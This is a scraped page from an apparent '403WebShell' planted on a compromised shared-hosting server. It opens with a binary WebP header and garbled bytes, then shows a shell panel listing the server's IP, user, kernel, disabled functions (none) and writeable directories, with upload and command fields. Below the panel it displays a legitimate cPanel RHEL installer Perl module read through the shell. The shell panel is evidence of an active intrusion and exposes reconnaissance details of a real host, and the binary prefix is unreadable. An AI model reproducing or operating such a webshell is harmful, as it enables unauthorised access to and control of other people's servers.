....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 66.235.200.170  /  Your IP : 3.139.90.0
Web Server : Apache
System : Linux gator4410.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : bmgxafte ( 1214)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/cpanel_installer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/cpanel_installer/InstallerRhel.pm
package InstallerRhel;

#                                      Copyright 2024 WebPros International, LLC
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited.



use strict;
use warnings;

use CpanelLogger;

use CpanelMySQL ();

use Installer ();
our @ISA = qw/Installer/;

sub distro_type { return 'rhel' }

sub check_system_support {
    my ($self) = @_;

    $self->SUPER::check_system_support;

    $self->validate_distro_release_rpm;

    my $distro_name  = $self->distro_name;
    my $distro_major = $self->distro_major;

    if ( $distro_name eq 'rhel' ) {
        ( grep { $distro_major == $_ } qw/7/ ) or $self->invalid_system( "cPanel, L.L.C. does not support " . _distro_name($distro_name) . " version $distro_major." );
    }
    elsif ( $distro_name eq 'centos' ) {
        ( grep { $distro_major == $_ } qw/7/ ) or $self->invalid_system( "cPanel, L.L.C. does not support " . _distro_name($distro_name) . " version $distro_major." );
    }
    elsif ( $distro_name eq 'cloudlinux' ) {
        ( grep { $distro_major == $_ } qw/6 7 8 9/ ) or $self->invalid_system( "cPanel, L.L.C. does not support " . _distro_name($distro_name) . " version $distro_major." );
    }
    elsif ( $distro_name eq 'almalinux' ) {
        ( grep { $distro_major == $_ } qw/8 9/ ) or $self->invalid_system( "cPanel, L.L.C. does not support " . _distro_name($distro_name) . " version $distro_major." );
    }
    elsif ( $distro_name eq 'rocky' ) {
        ( grep { $distro_major == $_ } qw/8 9/ ) or $self->invalid_system( "cPanel, L.L.C. does not support " . _distro_name($distro_name) . " version $distro_major." );
    }
    else {
        return $self->invalid_system( "cPanel, L.L.C. does not support " . _distro_name($distro_name) . " for new installations." );
    }

    $self->validate_cloudlinux_registration;
    $self->validate_rhn_registration;

    return;
}

sub validate_distro_release_rpm {
    my ($self) = @_;

    my $distro_release = '/etc/redhat-release';

    -e $distro_release or $self->invalid_system("The system could not detect a valid release file for this distribution");

    chomp( my $release_rpm = `/bin/rpm -qf $distro_release` );    ## no critic(ProhibitQxAndBackticks)

    $release_rpm or $self->invalid_system("RPMs do not manage release file.");

    return;
}

sub _distro_name {
    my ( $distro, $full ) = @_;

    for my $names (
        [ 'centos',     'CentOS',      'CentOS' ],
        [ 'rhel',       'Red Hat',     'Red Hat Enterprise Linux®' ],
        [ 'cloudlinux', 'CloudLinux',  'CloudLinux™' ],
        [ 'almalinux',  'AlmaLinux',   'AlmaLinux' ],                   # based on how it is written at almalinux.org
        [ 'rocky',      'Rocky Linux', 'Rocky Linux' ],
    ) {
        return $names->[ $full ? 2 : 1 ] if $distro eq $names->[0];
    }
    return $distro;
}

sub validate_cloudlinux_registration {
    my ($self) = @_;

    # Short here if not CloudLinux.
    my $distro_name = $self->distro_name;
    return unless $distro_name eq 'cloudlinux';

    $self->validate_registration(
        {
            distro_name      => _distro_name($distro_name),
            full_distro_name => _distro_name( $distro_name, 1 ),
            register_command => '/usr/sbin/clnreg_ks --force',
        }
    );

    return;
}

sub validate_rhn_registration {
    my ($self) = @_;

    # Short here if not redhat
    my $distro_name = $self->distro_name;
    return unless $distro_name eq 'rhel';

    $self->validate_registration(
        {
            distro_name      => _distro_name($distro_name),
            full_distro_name => _distro_name( $distro_name, 1 ),
            register_command => '/usr/sbin/rhn_register',
        }
    );

    my @channels = `/usr/bin/yum repolist enabled`;    ## no critic(ProhibitQxAndBackticks)
    INFO("Validating that the system subscribed to the optional RHN channel...");

    # optional channel validated.
    return if grep { m/-optional(?:-[0-9]|-rpms|\/7Server)/ } @channels;

    my $optional_channel;
    foreach my $channel (@channels) {
        chomp $channel;

        # On RHEL 6, this line looks like this:
        # rhel-6-server-rpms                   Red Hat Enterprise Linux 6 Server (RPMs)
        # On RHEL 7, it looks like this:
        # rhel-7-server-rpms/7Server/x86_64                       Red Hat Enterprise Linux 7 Server (RPMs)                                  13,357
        next if ( $channel !~ /^[!*]?(rhel-([0-9xi_]+)-server-([0-9]+|rpms))[\s\/]+.*$/i );
        $channel          = $1;
        $optional_channel = $channel;
        $optional_channel =~ s/-server-6/-server-optional-6/;
        $optional_channel =~ s/-server-rpms/-server-optional-rpms/;
    }
    if ( !$optional_channel ) {
        ERROR("The server is not registered with a known Red Hat base channel.");
        ERROR('$> /usr/bin/yum repolist enabled');
        ERROR(`/usr/bin/yum repolist enabled`);    ## no critic(ProhibitQxAndBackticks)
        exit 8;                                    ## no critic(NoExitsFromSubroutines) # has always been like this
    }

    my $distro_major = $self->distro_major;
    ERROR("cPanel & WHM requires you to subscribe to the RHEL $distro_major optional channel, to get all of the needed packages.");
    ERROR("cPanel & WHM will not function without this channel. Check your subscriptions and then rerun the installer.");
    ERROR(" ");
    ERROR("Please run the following command: /usr/sbin/spacewalk-channel --add --channel=$optional_channel");
    ERROR("Or, for newer versions, run the following command: /usr/sbin/subscription-manager attach --auto");
    ERROR(" ");
    ERROR("You can register to the optional channel at http://rhn.redhat.com.");
    FATAL("Terminating...");
    return;
}

sub validate_registration {
    my ( $self, $opts ) = @_;

    INFO("Checking the $opts->{'distro_name'} registration for updates...");
    local $ENV{'TERM'} = 'dumb';
    my $registered = `/usr/bin/yum list < /dev/null 2>&1`;    ## no critic(ProhibitQxAndBackticks)

    if ( $registered =~ m/not register|Please run rhn_register/ms && $registered !~ /is receiving updates/ms ) {
        ERROR("When you use $opts->{'full_distro_name'}, you must register ");
        ERROR("with the $opts->{'distro_name'} Network before you install cPanel & WHM.");
        ERROR("Run the following command to register your server: $opts->{'register_command'} ");
        FATAL("The installation process will now terminate...");
    }
    return;
}

sub check_networking_scripts {
    my ($self) = @_;

    # Ensure network-scripts is installed and configured while networkManager
    # is disabled on CentOS 8 & 9.
    if ( $self->distro_major >= 8 ) {
        $self->check_network_scripts;
    }
    else {

        # Validate NetworkManager is off and uninstalled.
        $self->check_network_manager;
    }

    return;
}

# Install network-scripts package on CentOS 8 before we do the Network Manager check, so if
# a user changes the hostname and removes NM without installing network-scripts manually, the
# server will be able to come back online.
sub check_network_scripts {
    my ($self) = @_;

    return if $self->distro_major >= 9;

    INFO("Configuring networking now...");

    $self->yum_nohang_ssystem(qw{ /usr/bin/yum -y install network-scripts });
    Common::ssystem(qw{systemctl enable network.service});
    Common::ssystem(qw{systemctl start network.service});

    # These will fail if NetworkManager is not installed (i.e. CL8)
    # so we ignore the errors here in case NetworkManager is not installed
    Common::ssystem( qw{systemctl disable NetworkManager}, { ignore_errors => 1 } );
    Common::ssystem( qw{systemctl stop NetworkManager},    { ignore_errors => 1 } );

    return;
}

sub check_network_manager {
    my ($self) = @_;

    INFO("Checking for NetworkManager now...");

    if ( $self->distro_major == 6 ) {
        $self->check_initd_network_manager();
        return;
    }

    $self->check_systemd_network_manager();
    return;
}

sub network_manager_report_status {
    my ( $self, $uninstalled, $running, $startup ) = @_;

    if ($uninstalled) {
        INFO("NetworkManager is not installed.");
    }
    elsif ( $running || $startup ) {
        ERROR("********************* ERROR *********************");
        ERROR("NetworkManager is installed and running, or      ");
        ERROR("configured to startup.                           ");
        ERROR("");
        ERROR("cPanel does not support NetworkManager enabled   ");
        ERROR("systems.  The installation cannot proceed.       ");
        ERROR("");
        ERROR("See https://go.cpanel.net/disablenm for more     ");
        ERROR("information on disabling Network Manager.        ");
        ERROR("********************* ERROR *********************");
        ( $self->force ) ? WARN("Continuing installation due to force flag...") : FATAL("Exiting...");
    }
    else {
        WARN("NetworkManager is installed, but not active.  Consider removing it.");
    }
    return;
}

sub check_initd_network_manager {
    my ($self) = @_;

    my $status      = `service NetworkManager status 2>/dev/null`;
    my $uninstalled = !$status;
    my $running;
    my $startup;

    if ($status) {
        my ( $status_service, $verb, $status_state ) = split( ' ', $status );
        $running = $status_state ne 'stopped';
    }

    my $config = `chkconfig NetworkManager --list 2>/dev/null`;
    if ($config) {
        my ( $config_service, $config_runlevels ) = split( ' ', $config, 2 );
        $startup = $config_runlevels =~ m/:on/;
    }

    $self->network_manager_report_status( $uninstalled, $running, $startup );
    return;
}

sub check_systemd_network_manager {
    my ($self) = @_;

    my $status      = `systemctl --all --no-legend --no-pager list-units NetworkManager.service 2>/dev/null`;
    my $uninstalled = !$status;
    my $running;
    my $startup;

    if ($status) {
        my ( $status_service, $load_state, $active_state, $sub_state, @service_description ) = split( ' ', $status );
        $running = $active_state && $sub_state && $active_state ne 'inactive' && $sub_state ne 'dead';

        # they uninstalled it, but didn't run systemctl daemon-reload
        if ( $load_state eq 'not-found' ) {
            $uninstalled = 1;
        }
    }

    my $config = `systemctl --all --no-legend --no-pager list-unit-files NetworkManager.service 2>/dev/null`;
    if ($config) {
        my ( $config_service, $enabled_state ) = split( ' ', $config );
        $startup = $enabled_state && $enabled_state ne 'disabled' && $enabled_state ne 'masked';
    }

    $self->network_manager_report_status( $uninstalled, $running, $startup );
    return;
}

sub check_system_files {
    my ($self) = @_;
    $self->SUPER::check_system_files;

    _ensure_selinux_disabled();

    # A tiny version of Cpanel::RpmUtils::checkupdatesystem();
    my $out = `/usr/bin/yum info glibc 2>&1` || '';    ## no critic(ProhibitQxAndBackticks)
    if ( $? != 0 ) {
        ERROR("Your operating system's RPM update method (yum) could not locate the glibc package. This is an indication of an improper setup. You must correct this error before you proceed. ");
        DEBUG("Output: $out");
        FATAL("\n\n");
    }

    return;
}

sub _ensure_selinux_disabled {

    # Disable selinux on RHEL systems.
    my $selinux_config_dir  = '/etc/selinux';
    my $selinux_config_file = "$selinux_config_dir/config";

    if ( open my $fh, '<', $selinux_config_file ) {
        local $/;
        my $selinux_config = <$fh>;
        my ($current_setting) = $selinux_config =~ m{^SELINUX=(\w+)$}xms;

        # If selinux config exists and is configured to disabled, do nothing.
        if ( $current_setting eq 'disabled' ) {
            return;
        }
    }

    INFO("Creating SELinux config file: $selinux_config_file");
    mkdir $selinux_config_dir unless -d $selinux_config_dir;
    open my $fh, '>', $selinux_config_file or FATAL("Unable to create $selinux_config_file");
    print {$fh} "SELINUX=disabled\n";
    close $fh;

    return;
}

# This is a peared down version of ensure_rpms_installed because we don't yet have cpanel code.
# We also assume centhat 5/6/7 for this code.
sub install_basic_precursor_packages {
    my ($self) = @_;

    # Disable rpmforge repos
    if ( glob '/etc/yum.repos.d/*rpmforge*' ) {
        WARN('DISABLING rpmforge yum repositories.');
        mkdir( '/etc/yum.repos.d.disabled', 0755 );
        Common::ssystem('mv -fv -- /etc/yum.repos.d/*rpmforge* /etc/yum.repos.d.disabled/ 2>/dev/null');
    }

    $self->setup_update_config();

    # No fastest-mirror package available on CentOS 8
    if ( is_yum_system() ) {
        $self->install_fastest_mirror;
    }

    # Minimal packages needed to use yum.

    INFO("Installing packages needed to download and run the cPanel initial install.");

    # Assure wget/bzip2/gpg are installed for centhat. These packages are needed prior to sysup
    # Password strength functionality relies on cracklib-dicts being installed
    my @packages_to_install = qw/wget bzip2 gnupg2 xz yum nscd psmisc cracklib-dicts crontabs sysstat perl-Net-SSLeay/;

    my $distro_major = $self->distro_major;
    if ( $distro_major >= 8 ) {

        # Install epel-releases manually since the BaseOS repo no longer contains this package
        my $repo = 'https://dl.fedoraproject.org/pub/epel/epel-release-latest-' . $distro_major . '.noarch.rpm';
        $self->yum_nohang_ssystem( '/usr/bin/yum', '-y', 'install', $repo );

        # libssh2 moved to epel. python3 is required for retry_rpm.
        push @packages_to_install, 'python3';
    }
    else {
        # rdate and yum-fastestmirror aren't available on 8, but set as default for everything else
        push( @packages_to_install, 'rdate', 'yum-fastestmirror' );
    }

    # Don't attempt to install kernel-headers on systems with the CentOS Plus kernel headers already installed.
    # We do not need kernel-headers for v70+ since we don't link anything against the kernel anymore
    # if ( !has_kernel_plus_headers() ) {
    #    push @packages_to_install, 'kernel-headers';    # Needed because Cpanel::SysPkgs excludes kernel_version
    #}

    if (@packages_to_install) {
        $self->yum_nohang_ssystem( '/usr/bin/yum', '-y', 'install', @packages_to_install );
    }

    # Make sure all rpms are up to date if we are running
    # an older version that CentOS 7 since we only support
    # Centos 6.5+.
    #
    # Additionally we need Centos 7.4+ to ensure they
    # have the latest version of openssl per
    # CPANEL-25853

    my $distro_version = sprintf( "%d.%d", $self->distro_major, $self->distro_minor );
    if ( $distro_version < 6.5 || ( $distro_major == 7 && $distro_version < 7.4 ) ) {
        $self->yum_nohang_ssystem( '/usr/bin/yum', '-y', 'update' );
    }

    # Reinstate yum exclusions
    unlink '/etc/checkyumdisable';
    Common::ssystem('/usr/local/cpanel/scripts/checkyum') if ( -e '/usr/local/cpanel/scripts/checkyum' );
    return;
}

sub setup_update_config {
    my ($self) = @_;

    # legacy files
    unlink('/var/cpanel/useup2date');
    unlink('/var/cpanel/useyum');
    $self->touch('/var/cpanel/yum_rhn') if $self->distro_name eq 'redhat';

    INFO("The installation process will now ensure that GPG is set up properly before it imports keys.");
    Common::ssystem(qw{/usr/bin/gpg --list-keys});

    INFO("The installation process will now import GPG keys for yum.");
    if ( -e '/usr/share/rhn/RPM-GPG-KEY' ) {
        Common::ssystem( '/usr/bin/gpg', '--import', '/usr/share/rhn/RPM-GPG-KEY' );
        Common::ssystem( '/bin/rpm',     '--import', '/usr/share/rhn/RPM-GPG-KEY' );
    }

    if ( !-e '/etc/yum.conf' && -e '/etc/centos-yum.conf' ) {
        INFO("The system will now set up yum from the /etc/centos-yum.conf file.");
        Common::ssystem(qw{cp -f /etc/centos-yum.conf /etc/yum.conf});
    }
    return;
}

sub yum_nohang_ssystem {
    my ( $self, @cmd ) = @_;

    # some base packages were moved to PowerTools on CentOS 8; e.g. elinks
    my $power_repo = $self->_get_powertools_repoid;
    push @cmd, "--enablerepo=$power_repo" if $power_repo;

    my $failcount = 0;
    my $result    = 1;
    while ($result) {    # While yum is failing.
        $result = Common::ssystem(@cmd);
        last if ( !$result );    # yum came back clean. Stop re-trying

        $failcount++;
        if ( $failcount > 5 ) {
            FATAL("yum failed $failcount times. The installation process cannot continue.");
        }
    }
    return;
}

# see also: Cpanel::SysPkgs::YUM::_get_powertools_repoid
sub _get_powertools_repoid {
    my ($self) = @_;

    return if $self->distro_major <= 7;
    return if $self->distro_major >= 9 && $self->distro_name eq 'cloudlinux';

    return 'cloudlinux-PowerTools' if $self->distro_name eq 'cloudlinux';

    return 'crb' if $self->distro_major >= 9;

    if ( $self->distro_major == 8 && $self->distro_minor >= 3 ) {    # distro_ver >= 8.3
        return 'powertools';
    }

    return 'PowerTools';
}

sub is_yum_system {
    return 'yum' eq name_of_package_manager();
}

my $package_manager;

sub name_of_package_manager {
    return $package_manager if defined $package_manager;

    my $code = Common::ssystem( qw(rpm -q dnf), { 'ignore_errors' => 1 } );
    if ( 0 == $code ) {
        $package_manager = 'dnf';
    }
    else {
        $package_manager = 'yum';
    }

    return $package_manager;
}

# Install fastest mirror plugin for CentOS
sub install_fastest_mirror {
